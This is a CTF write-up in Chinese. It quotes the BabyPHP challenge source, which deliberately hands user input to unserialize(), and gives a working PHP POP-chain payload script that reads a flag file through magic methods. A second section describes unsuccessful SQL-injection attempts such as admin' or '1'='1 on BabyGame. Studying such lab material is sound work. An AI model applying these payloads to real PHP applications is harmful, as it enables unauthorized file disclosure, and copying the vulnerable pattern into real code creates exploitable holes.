|
Web
BabyPHP
一访问容器就给了PHP代码
<?php
error_reporting(1);
class Read {
private $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'解析开始'."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
?>
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475
很明显是反序列化利用, 但是对这块不熟悉, 所以一开始给每个类都单独构造Payload, 但是都不能用,
后面根据题目百度了下, 找到一个参加其他比赛的师傅写的WP, 同时也发现是原题…
在写之前又搜了一下, 发现2018SWPU也有一题类似的题目,
最终构造Payload的脚本如下:
<?php
class Read {
private $var = 'fllllllaaaaaag.php';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $params;
}
$c = new Read();
$b = new Test();
$b->params = $c;
$d = new Show();
$d->str = array('str' => $b);
$a = new Show();
$a->source = $d;
echo urlencode(serialize($a));
12345678910111213141516171819202122232425
踩了好几次坑, 一开始用这个脚本构造的Payload还不能用, 后面在本地调试, 发现是文件不存在导致的.
大致归纳下, 这题主要是利用了PHP类的魔术方法, 一开始构造的几个Payload之所以不能用, 就是因为没触发到.
__invoke: 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
__toString: 对象被当做文本使用前调用.
__get: 读取不可访问属性的值时,__get() 会被调用。
__wakeup: 反序列化生成对象时调用.
__sleep: 与__wakeup相反, 执行序列化操作前调用.
BabyGame
这题试了很多技巧都不行, 加上自己对SQL注入不是特别会, 就更解不出了(至少看隔壁学校的大佬也没解出)
试着登录admin, 登录失败, 但是不告诉具体原因,
注册admin, 提示用户已存在, 试着用admin' or '1'='1绕过,
但是没提示用户存在, 注册成功, 然后到登录后的页面,
看上去是对'进行了转义, 测试了"同样也被转义.
弄到这暂时没什么思路, 也没有敏感文件泄漏,
额不对, 还有一个tools.php,
但无论怎么测试都提示no result, 也没有sql注入的样子, 只好弃坑=-=.
转回去去注册一个正常账户, 发现登录后出现了一个flag链接, 点进去显示了flag, 但是并不正确,
拿去解密后发现是对自己的账户信息做了md5操作.
同时发现出现了个msgid, 但是并没有什么注入点.
根据flag出现的情况, 推测是在欢迎页做了未过滤的sql查询, 成功时才输出指向链接,
但是想想总有点不对, 如果是这样, 那输出的用户名不应该有转义才对.
最后平台放了两次提示, 然而并没有什么卵用, 第一个上午刚做就猜到了, 第二个看不懂意思.jpg
所以, “等一个官方WP or 复现”.jpg
|
|